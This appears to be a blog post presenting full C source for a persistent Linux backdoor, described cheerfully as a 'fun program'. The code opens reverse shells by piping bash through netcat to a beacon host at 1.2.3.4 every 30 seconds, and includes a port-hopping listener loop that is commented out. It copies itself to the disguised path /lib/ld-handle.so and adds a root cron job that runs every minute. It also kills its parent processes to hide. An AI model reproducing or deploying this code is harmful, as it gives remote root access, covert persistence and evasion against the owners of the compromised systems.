Here’s a fun program that persistently backdoors a system.
Must run as root if you want the listener to be persistent. Of course it can be modified to use a normal user.

Utilizes a file lock to ensure only one instance of the program is running.
Forks itself, the child is a listener, and the parent is a beacon (double the backdoor fun!)

Kills the cron process (not the daemon) so there’s no hanging cron shell and disassociates itself from cron.
Copies its executable into a “normal” looking name and place.
Persists using cron-job that runs every minute.
Port hops after its connected to (not a keep-alive netcat listener, but it constantly restarts netcat)

#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<string.h>
#include<sys/file.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<signal.h>

#define PLEN 8

void main_process(char *named_pipe,pid_t parent_pid);
void beacon(char *named_pipe, int interval_in_seconds);
int check_file_lock(void);
int random_port_range(int min,int max);
void generate_alphanumeric(char *s, int length);
void make_persistent(char** argv);
void hide_while_running(int ppid);

int main(int argc, char** argv) {
    check_file_lock();
    
    pid_t forked_pid;
    pid_t parent_pid = getppid();
    
    char named_pipe_dir[] = "/tmp/";
    int np_buf = strlen(named_pipe_dir)+PLEN+1;
    char listen_pipe[np_buf];
    char beacon_pipe[np_buf];
    strncpy(listen_pipe,named_pipe_dir,np_buf);
    strncpy(beacon_pipe,named_pipe_dir,np_buf);
    
    srand(time(NULL));
    generate_alphanumeric(listen_pipe, PLEN);
    generate_alphanumeric(beacon_pipe, PLEN);
    make_persistent(argv);
    mkfifo(listen_pipe, 0666);
    mkfifo(beacon_pipe, 0666);
    
    forked_pid = fork();
    if (forked_pid == 0) {
        main_process(listen_pipe,parent_pid);
    }
    else { //Socket data is coded into beacon function
        int interval_in_seconds = 30;
        beacon(beacon_pipe,interval_in_seconds);
    }
    
    remove(listen_pipe);
    remove(beacon_pipe);
    return 0;
}

void main_process(char *named_pipe,pid_t parent_pid) {
    //Sets up a listener on a random port (defined in the while loop). Shovels out a shell.
    //Of note, does not use -k so the port will change after each connection.
    int listen_port;
    char listener_command[60+strlen(named_pipe)*2]; //Magic number 60 refers to the rest of the command run by system() below.

    hide_while_running(parent_pid);

    /*while(1) {
        listen_port = random_port_range(4000,4500);
        snprintf(listener_command,sizeof(listener_command), "/bin/bash 0<%s | nc -l -p %d 1>%s", named_pipe, listen_port, named_pipe);
        system(listener_command);
    }*/
}

void beacon(char *named_pipe, int interval_in_seconds) {
    //Parent process. Beacons out using nc every <interval_in_seconds>.
    int beacon_port = 54311;
    char beacon_dst[] = "1.2.3.4";
    char beacon_command[60+strlen(named_pipe)*2];
    snprintf(beacon_command,sizeof(beacon_command), "/bin/bash 0<%s | nc %s %d 1>%s", named_pipe, beacon_dst, beacon_port, named_pipe);
    printf("Beacon started\n");
    while(1) {
        system(beacon_command);
        sleep(interval_in_seconds);
    }
    printf("Beacon ended\n");
}

int random_port_range(int min,int max) {
    //Just picks a random number between min and max and returns it
    srand(time(NULL));
    int range = max - min + 1;
    int result = (rand()%range)+min;
    return result;
}

void generate_alphanumeric(char *s, int length) {
    //Appends <length> random characters to the end of string "s" followed by a \0. Make sure you have enough space in your character array.....
    static const char alphanum[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    int start = strlen(s);
    //i is started here because this is the length of directory name (ie. /tmp/ = 5)
    //starting on 5 (position 6 in the array), wipes out the \0 and continues our string
    int i;
    for (i = start; i < length + start; ++i) {
        s[i] = alphanum[rand() % (sizeof(alphanum)-1)];
    }
    s[length + start] = '\0';
}

void make_persistent(char** argv) {
    //This function makes persistent by copying the executable (argv[0]) into a known location and adding it as a cron job
    char new_path[] = "/lib/ld-handle.so";
    if (access(new_path, F_OK ) == -1) {
        char cp_command[strlen(argv[0])+strlen(new_path)+5];
        //vulnerability here (relative path)
        snprintf(cp_command,sizeof(cp_command),"cp %s %s",argv[0],new_path);
        system(cp_command);
    }

    int check_cron = system("grep /lib/ld-handle.so /var/spool/cron/crontabs/root 1>/dev/null 2>&1");
    if (check_cron > 0) {
        FILE *cron_file = fopen("/var/spool/cron/crontabs/root","a");
        fprintf(cron_file,"\n* * * * * /lib/ld-handle.so\n");
        fclose(cron_file);
    }
    system("service cron start");
    system("service cron reload");
}

void hide_while_running(pid_t ppid) {
    //This function kills the parents ppid and ppid of the original program run. If started by cron, this will be a cron process.
    //If you run this program, it will kill your shell.
    char grep_command[50];
    snprintf(grep_command,sizeof(grep_command),"grep PPid /proc/%d/status | cut -d: -f 2",ppid);
    //Running a grep command to find this processes ppid. This will be a cron process (not the daemon) if started by cron
    FILE *fp = popen(grep_command,"r");
    char *response = NULL;
    size_t len = 0;
    //getline gets the response from the grep command, and puts the data into response
    getline(&response, &len, fp);
    pclose(fp);
    //turn the response into an int so we can send a kill signal
    int pid_to_kill = atoi(response);
    printf("PPID to kill: %s\n",response);
    kill(pid_to_kill, SIGTERM);
    kill(ppid, SIGTERM);

    if (access("/bin/ps2", F_OK ) == -1) {
        //system("cp /bin/ps /bin/ps2");
        printf("HIDE!");
    }
}

int check_file_lock(void) {
    //Trys to lock a file. If its already locked, program exits. This is so it only runs once.
    int lockfile = open("/tmp/apparmor.lck",O_CREAT | O_RDWR, 0666);
    int lock_status = flock(lockfile, LOCK_EX | LOCK_NB);
    printf("LOCK STATUS: %d\n",lock_status);
    if (lock_status < 0) {
        exit(1);
    }
    return 0;
}
C Programming – Persistent Backdoor

0 thoughts on “C Programming – Persistent Backdoor

Leave a Reply

Your email address will not be published.